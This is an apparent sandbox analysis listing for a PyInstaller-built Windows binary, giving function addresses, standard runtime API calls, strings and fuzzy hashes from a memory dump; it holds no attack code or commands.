Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction ID: a921d9a41c6db5c259e085242a2c4c0bb027d76861353537b596f300d2da5beb
Opcode Fuzzy Hash: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction Fuzzy Hash: 72315D62A19A8289EF209B21EA552F97360FF98788F481135FA4ED7B4DDF7CD144C700

Function 00007FF65E282B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF65E28918F,?,00007FF65E283C55), ref: 00007FF65E282BA0
MessageBoxW.USER32 ref: 00007FF65E282C2A

Strings

[PYI-%d:%ls] , xrefs: 00007FF65E282BA8
WARNING, xrefs: 00007FF65E282BAF
Warning, xrefs: 00007FF65E282C1D

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: 1ff86e343eca97bf9b781412ad167cf3849510702a6da84d5704b2672069b8c9
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: 6421DE62B08B4182EB109B24FA857EA77A5FB98780F480136FE8DE3659DF3CD245C740

Function 00007FF65E282710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF65E281B99), ref: 00007FF65E282760

Strings

[PYI-%d:%s] , xrefs: 00007FF65E282768
Error [ANSI Fallback], xrefs: 00007FF65E2827CF
Error, xrefs: 00007FF65E2827DE
ERROR, xrefs: 00007FF65E28276F

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: a31531986e37b3f08c7b87ef321079f193bfb21479da884998e41de5fc5c64a9
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: 20218132A18B8182EB209B51BA817E6B7A4FB98384F480135FE8DE365DDF7CD145C740

Function 00007FF65E299A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF65E299AAD
GetProcAddress.KERNEL32 ref: 00007FF65E299AC3
FreeLibrary.KERNEL32 ref: 00007FF65E299AEA

Strings

CorExitProcess, xrefs: 00007FF65E299ABC
mscoree.dll, xrefs: 00007FF65E299AA4

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: 155d5326b94b31b14d8fa356372aa58d9387a74935518d61e4a3e5d035f6f0f9
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: AFF06221B0970681EF148B24E79437A7325EF65761F5C1239E66EDA1ECDF6CD084C710

Function 00007FF65E2A9368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF65E2A9390
_set_statfp.LIBCMT ref: 00007FF65E2A93AB
_set_statfp.LIBCMT ref: 00007FF65E2A93C7
_set_statfp.LIBCMT ref: 00007FF65E2A9403

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 09d96c53053a1ee783bf72b6d2bb2e9f4d25688a64e401f7c725f818e8b7c361
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 82113022ED8A4205FE64156FF7E537D3160AF79364E0C4636FB6EBA2DE8EEC68414100

Function 00007FF65E29B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF65E29A5A3,?,?,00000000,00007FF65E29A83E,?,?,?,?,?,00007FF65E29A7CA), ref: 00007FF65E29B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF65E29A5A3,?,?,00000000,00007FF65E29A83E,?,?,?,?,?,00007FF65E29A7CA), ref: 00007FF65E29B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF65E29A5A3,?,?,00000000,00007FF65E29A83E,?,?,?,?,?,00007FF65E29A7CA), ref: 00007FF65E29B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF65E29A5A3,?,?,00000000,00007FF65E29A83E,?,?,?,?,?,00007FF65E29A7CA), ref: 00007FF65E29B407
FlsSetValue.KERNEL32(?,?,?,00007FF65E29A5A3,?,?,00000000,00007FF65E29A83E,?,?,?,?,?,00007FF65E29A7CA), ref: 00007FF65E29B418

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 076d9937837767d8c0599fb7139188ad361754fd070b51876ae2b58645e7f25c
Instruction ID: 57545900df2ebbeddc6a03fc0ac2e8611eed82c33842112eb317e8b442cd71b7
Opcode Fuzzy Hash: 076d9937837767d8c0599fb7139188ad361754fd070b51876ae2b58645e7f25c
Instruction Fuzzy Hash: 57114C20E0C65281FE989725A75127931866F647F0F5CB334F93EF66DEDE2CA8828205

Function 00007FF65E29B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF65E29B235
FlsSetValue.KERNEL32 ref: 00007FF65E29B254
FlsSetValue.KERNEL32 ref: 00007FF65E29B27C
FlsSetValue.KERNEL32 ref: 00007FF65E29B28D
FlsSetValue.KERNEL32 ref: 00007FF65E29B29E

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 84df6eade7ca2759e64539926e88efdc2e23a1e9973d593929f07b0eae7a4c09
Instruction ID: 1c8c4090c7d17adfd2f60ab7614e681d0c1d1f36d7b31673ed97ee35efd40acf
Opcode Fuzzy Hash: 84df6eade7ca2759e64539926e88efdc2e23a1e9973d593929f07b0eae7a4c09
Instruction Fuzzy Hash: F6111520E0C21B41FEA863618B5117E31869F667B0F1CA734F93EFA6CEDD2CB8804205

Function 00007FF65E295FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E295FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E296106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2961BC

Strings

verbose, xrefs: 00007FF65E295FB0

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: c4bd40c471a317186a0f7610681143f251c0e3d24a12b01c383e383a3848a1d6
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 8F91A022A0864681EF658F24D75077D37D1AB60B94F8C9136EA5DE73D9DE3CE4858300

Function 00007FF65E29FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E29FEA7

Part of subcall function 00007FF65E297A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E297A59

Strings

ccs, xrefs: 00007FF65E29FDE2
UTF-8, xrefs: 00007FF65E29FE26
UTF-16LEUNICODE, xrefs: 00007FF65E29FE45

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: a4d7f04c1cad38c89c14a0d8034bdca6bfb0025c7281049cb849733b514add01
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: 91819272E0C26285FFE59E25CB4027836A0AB31B44F5DA035EA49F729DCF2DE9C19311

Function 00007FF65E28D648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF65E28D673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF65E28D70A
RtlUnwindEx.KERNEL32 ref: 00007FF65E28D764

Strings

csm, xrefs: 00007FF65E28D6F1

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: dc0144cef41258664103b5c372b402532d053abb1210b2b39b7b02775b062a5a
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 6B519E76A1D7028ADF148F15E344A787399EBA4B98F188130EA8E9778CDF7CE845C700

Function 00007FF65E28EED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF65E28EF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF65E28EF83

Strings

RCC, xrefs: 00007FF65E28EF53
MOC, xrefs: 00007FF65E28EF4B

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: be5a5d41cc323259a5d8d234dfa2d1d91b54ffb53a260cc78273d626d7868cc5
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: AA61933290CBC585EB609B15E6403AAB7A0FBA5794F084225FB9C57B5ADF7CD194CB00

Function 00007FF65E28F288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF65E28F2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF65E28F398

Strings

csm, xrefs: 00007FF65E28F2D2
csm, xrefs: 00007FF65E28F3EA

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 45912996d6aebaf467413735e09d0d91207fc29ce0df9262597b33eb70c30721
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: D3517C32A0C39A86FF748B21974426877A0FB64B85F185136EB5DA7B9ACF3CE450C701

Function 00007FF65E287E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF65E28352C,?,00000000,00007FF65E283F23), ref: 00007FF65E287F32

Strings

%s%c, xrefs: 00007FF65E287EA4
\, xrefs: 00007FF65E287E97
%.*s, xrefs: 00007FF65E287EEB

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction ID: a34f78832e090870dd6e79f6e454364a4a4793e84beaf164d7262f6e9e32683b
Opcode Fuzzy Hash: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction Fuzzy Hash: 4231C36261DBC145EE219B21E7107AA7354EBA4BE4F480231FA6DE7BCDDF2CD6058700

Function 00007FF65E282810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF65E2828EA

Strings

[PYI-%d:%ls] , xrefs: 00007FF65E282868
Error, xrefs: 00007FF65E2828DD
ERROR, xrefs: 00007FF65E28286F

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 4b393343dca013d37f5b06c7a890ce337744a35cbc7745080f38bfd9bce68162
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: DB21DE62B08B4182EB109B64FA457EA77A5FB98780F480136FE8DE3659DF3CD245C740

Function 00007FF65E29C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF65E29C61F
WriteFile.KERNEL32 ref: 00007FF65E29C8E7
WriteFile.KERNEL32 ref: 00007FF65E29C92D
GetLastError.KERNEL32 ref: 00007FF65E29C9E3

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: cb6d357255cd01fc2b8fa1cd34d9fae909106e45e7c1016b46f613b668eace3f
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: C8D10572B18A418AEB11CF65D7412BC37B1FB64798B485236EE5EE7B89DE38D046C700

Function 00007FF65E29F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF65E29FA7C
_get_daylight.LIBCMT ref: 00007FF65E29FA8D
_get_daylight.LIBCMT ref: 00007FF65E29FA9E
_isindst.LIBCMT ref: 00007FF65E29FB69

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: f822de7420039d662f2b65bbed598f157f1b8d587cc9bb38cb821fbb5a2cc39e
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: 34510972F0822186FF54CF649B616BC3765AB64358F581235FD1EE6ADDDF38A4428700

Function 00007FF65E29577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF65E2957AF
GetFileInformationByHandle.KERNEL32 ref: 00007FF65E295811
GetLastError.KERNEL32 ref: 00007FF65E2958A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF65E2956B4), ref: 00007FF65E2958EE

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction ID: 98e23e38848354832bbbcd488b7906ac3ba8e3a57d0875d3bc9d917e109051cf
Opcode Fuzzy Hash: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction Fuzzy Hash: 51514A22F086458AFB10CB61E6503BD37A1BB68B58F186439EE49E668DDF3CD4818750

Function 00007FF65E2820C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF65E2820F4
SetWindowLongPtrW.USER32 ref: 00007FF65E282116
GetWindowLongPtrW.USER32 ref: 00007FF65E282140
InvalidateRect.USER32 ref: 00007FF65E282160

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
